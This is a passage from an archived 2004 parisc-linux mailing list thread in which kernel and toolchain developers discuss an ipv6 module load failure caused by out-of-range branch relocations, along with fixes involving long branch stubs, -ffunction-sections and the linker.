	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14900-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:32:21 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 9870A3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 08:32:20 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iATFWHp15974; Mon, 29 Nov 2004 10:32:17 -0500
In-Reply-To: <20041127064710.GL9148@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22148

On Sat, 2004-11-27 at 00:47, Randolph Chung wrote:
> currently the kernel module loader does not support long branch stubs.
> using the debian 2.6.8-1 kernel, when loading the ipv6 module, i see:
> 
> legolas[6:43] linux-2.6% sudo modprobe ipv6
> FATAL: Error inserting ipv6 (/lib/modules/2.6.8-1-32-smp/kernel/net/ipv6/ipv6.ko): Invalid module format
> 
> in syslog, i get:
> module ipv6 relocation of symbol fold_prot_inuse is out of range (0x3ffeffe2 in 17 bits)


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 20:27:32 +0100 (MET)
Lines: 36
Approved: news@gmane.org
Message-ID: <200411291927.iATJRY3e032306@arbas.nms.ulrich-teichert.org>
References: <1101742439.1714.11.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623607 11850 80.91.229.3 (22 Nov 2014 02:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:27 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22042 invoked by uid 65534); 29 Nov 2004 19:30:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 29 Nov 2004 20:30:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 560A03BC80; Mon, 29 Nov 2004 12:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17668-08; Mon, 29 Nov 2004 12:28:48 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D7CD13BE4C; Mon, 29 Nov 2004 12:28:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE9FD3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 12:28:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17668-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 12:28:03 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (i3ED65372.versanet.de
	[62.214.83.114])
	by free.linux.hp.com (Postfix) with ESMTP id 33EF13BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 12:28:00 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1) with ESMTP id
	iATJRbZ4032308; Mon, 29 Nov 2004 20:27:38 +0100
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1/Submit) id
	iATJRY3e032306; Mon, 29 Nov 2004 20:27:34 +0100
X-Authentication-Warning: arbas.nms.ulrich-teichert.org: ut set sender to
	krypton using -f
In-Reply-To: <1101742439.1714.11.camel@mulgrave> from "James Bottomley" at Nov
	29, 2004 09:33:53 AM
X-Mailer: ELM [version 2.5 PL2]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22149

Hi,

>> currently the kernel module loader does not support long branch stubs.
>> using the debian 2.6.8-1 kernel, when loading the ipv6 module, i see:
>> 
>> legolas[6:43] linux-2.6% sudo modprobe ipv6
>> FATAL: Error inserting ipv6 (/lib/modules/2.6.8-1-32-smp/kernel/net/ipv6/ipv6.ko): Invalid module format
>
>This is pretty nasty.  The problem isn't a bad relocation, its that the
>relocation target is too far away (i.e. ipv6 is too big).

I've seen this quite often in userspace on hppa-linux, lately while building
TAO (http://www.cs.wustl.edu/~schmidt/TAO.html).

>We get around this in the kernel by using -ffunction-sections so that
>the real linker can insert stubs between functions.  However,
>calculating how to do that in the in-kernel module loader would not be a
>whole lot of fun.

Wouldn't there a way to fix that somewhere else in the toolchain? Or is
there a parisc machine code limitation in the way? I would really get rid of
-ffunction-sections as it seems to generate slower executables. Could
you please explain what needs to be done?

TIA,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Suicide Drive (The Deep Eynde)
24539 Neumuenster, Germany|Public Pervert (Interpol) Cl De Contact (Metal Urbain)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 11:46:18 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20041129194618.GM6359@tausq.org>
References: <1101742439.1714.11.camel@mulgrave>
	<200411291927.iATJRY3e032306@arbas.nms.ulrich-teichert.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623607 11852 80.91.229.3 (22 Nov 2014 02:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:27 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Ulrich Teichert <krypton@ulrich-teichert.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1265 invoked by uid 65534); 29 Nov 2004 20:50:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 29 Nov 2004 21:50:15 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1EBB93BE4C; Mon, 29 Nov 2004 13:13:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00381-06; Mon, 29 Nov 2004 13:13:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B1E53BE4F; Mon, 29 Nov 2004 13:13:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46B7B3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 13:13:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00382-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 13:13:25 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id E3BD93BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 13:13:24 -0700 (MST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id AE48943998; Mon, 29 Nov 2004 11:46:18 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200411291927.iATJRY3e032306@arbas.nms.ulrich-teichert.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22150

> I've seen this quite often in userspace on hppa-linux, lately while building
> TAO (http://www.cs.wustl.edu/~schmidt/TAO.html).

what error do you see? the one that recommends rebuilding with
-ffunction-sections?

in your application, do you first build some .o's, link them together
into a bigger .o, and then use those to create your final application
image? (otherwise i don't think this problem should occur; if it does
there's a bug somewhere that we should fix).

> Wouldn't there a way to fix that somewhere else in the toolchain? Or is
> there a parisc machine code limitation in the way? I would really get rid of
> -ffunction-sections as it seems to generate slower executables. Could
> you please explain what needs to be done?

we have (or, rather, Dave has) been fixing this in various places. This
problem happens much less frequently now than it used to. Fixes may be
required either in gcc or in the linker to detect when a branch target
is too far away and needs to be converted to a long branch.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: 29 Nov 2004 19:18:51 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1101777536.2114.103.camel@mulgrave>
References: <200411300023.iAU0NaI2014797@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623607 11855 80.91.229.3 (22 Nov 2014 02:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:27 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24344 invoked by uid 65534); 30 Nov 2004 01:19:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 30 Nov 2004 02:19:54 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B610E3BC80; Mon, 29 Nov 2004 18:19:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04132-06; Mon, 29 Nov 2004 18:19:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B43843BE56; Mon, 29 Nov 2004 18:19:19 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DC9D3BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 18:19:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04158-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 18:19:06 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 2E9633BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 18:19:05 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iAU1Iup29954; Mon, 29 Nov 2004 20:18:56 -0500
In-Reply-To: <200411300023.iAU0NaI2014797@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22151

On Mon, 2004-11-29 at 18:23, John David Anglin wrote:
> > On Mon, 2004-11-29 at 18:08, John David Anglin wrote:
> > > With -ffunction-sections, gcc guarantees that calls can reach the
> > > beginning of a function plus some margin for the stub table.  The linker
> > > inserts stubs on a per function basis.  This should work better with
> > > relinking as the functions remain in their own sections.
> > 
> > So what we really need is the equivalent of -ffunction-sections for the
> > linker where, when we combine a bunch of .o's it sees if the branches
> > are getting too far a way and drops a stub in between the function
> > sections (so that the in-kernel linker doesn't have to bother about
> > doing this).
> 
> Then, in the final or in-kernel link, the long branch stubs get
> fixed.

That's the general idea.  Obviously any two pass linker (like the one in
binutils) can place the stubs optimally in between the sections (as long
as the code was compiled with -ffunction-sections) as part of the final
link, but the in-kernel linker is small and simple and I'd rather not
have to introduce it to the concept of multiple passes, so if there were
a flag to get binutils to do the hard work for us it would be much
appreciated.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 23:51:05 +0100 (MET)
Lines: 66
Approved: news@gmane.org
Message-ID: <200411292251.iATMp5i2007453@arbas.nms.ulrich-teichert.org>
References: <20041129194618.GM6359@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623608 11857 80.91.229.3 (22 Nov 2014 02:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:28 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
 James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: tausq@debian.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26945 invoked by uid 65534); 29 Nov 2004 22:52:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 29 Nov 2004 23:52:34 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A2B933BE26; Mon, 29 Nov 2004 15:52:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02030-05; Mon, 29 Nov 2004 15:52:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1C2B63BE4F; Mon, 29 Nov 2004 15:51:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 682D13BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 15:51:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02030-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 15:51:47 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (i3ED65372.versanet.de
	[62.214.83.114])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3633BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 15:51:44 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1) with ESMTP id
	iATMpBZ4007473; Mon, 29 Nov 2004 23:51:11 +0100
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1/Submit) id
	iATMp5i2007453; Mon, 29 Nov 2004 23:51:05 +0100
X-Authentication-Warning: arbas.nms.ulrich-teichert.org: ut set sender to
	krypton using -f
In-Reply-To: <20041129194618.GM6359@tausq.org> from "Randolph Chung" at Nov 29,
	2004 11:46:18 AM
X-Mailer: ELM [version 2.5 PL2]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22152

Hi,

>> I've seen this quite often in userspace on hppa-linux, lately while building
>> TAO (http://www.cs.wustl.edu/~schmidt/TAO.html).
>
>what error do you see? the one that recommends rebuilding with
>-ffunction-sections?

Yes, exactly. While linking a huge C++ executable against dynamic
C++ libraries build with -fPIC.

>in your application, do you first build some .o's, link them together
>into a bigger .o, and then use those to create your final application
>image? (otherwise i don't think this problem should occur; if it does
>there's a bug somewhere that we should fix).
[TAO isn't really *my* application, it's more Douglas C. Schmidt's one,
I'm just a happy user]

Well, the linking of libraries as it's done in TAO is IMHO pretty much
standard:

g++ -D_REENTRANT -DACE_HAS_AIO_CALLS -D_GNU_SOURCE   -I/opt/ACE_wrappers -DACE_HAS_EXCEPTIONS -D__ACE_INLINE__ -DACE_BUILD_DLL -DACE_OS_BUILD_DLL -shared -Wl,-h -Wl,libACE.so.5.4.0 -o libACE.so.5.4.0 .shobj/ARGV.o
...
[countless list of objects]
...
.shobj/NT_Service.o .shobj/UUID.o -Wl,-E -L/opt/ACE_wrappers/ace -L./  -ldl -lpthread -lrt
rm -f libACE.so
ln -s libACE.so.5.4.0 libACE.so
chmod a+rx libACE.so.5.4.0

and all the other libs are created more or less the same way.

>> Wouldn't there a way to fix that somewhere else in the toolchain? Or is
>> there a parisc machine code limitation in the way? I would really get rid of
>> -ffunction-sections as it seems to generate slower executables. Could
>> you please explain what needs to be done?
>
>we have (or, rather, Dave has) been fixing this in various places. This
>problem happens much less frequently now than it used to. Fixes may be
>required either in gcc or in the linker to detect when a branch target
>is too far away and needs to be converted to a long branch.

Ah, then most likely, my toolchain is too old. I'm using debian woody right
now:

GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
GNU assembler version 2.12.90.0.1 (hppa-linux) using BFD version 2.12.90.0.1 20020307 Debian/GNU Linux
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-included-gettext --disable-checking --enable-threads=posix --with-cpp-install-dir=bin hppa-linux
Thread model: posix
gcc version 3.0.4

What ld/gas/gcc versions would you recommend? Do I need extra patches?

TIA,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Suicide Drive (The Deep Eynde)
24539 Neumuenster, Germany|Public Pervert (Interpol) Cl De Contact (Metal Urbain)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 15:57:37 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20041129235737.GQ6359@tausq.org>
References: <20041127064710.GL9148@tausq.org>
	<200411292353.iATNrAc4005771@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623608 11859 80.91.229.3 (22 Nov 2014 02:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19453 invoked by uid 65534); 30 Nov 2004 00:03:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 30 Nov 2004 01:03:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF6DD3BE5D; Mon, 29 Nov 2004 16:57:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03221-01; Mon, 29 Nov 2004 16:57:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D39AD3BE5F; Mon, 29 Nov 2004 16:57:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
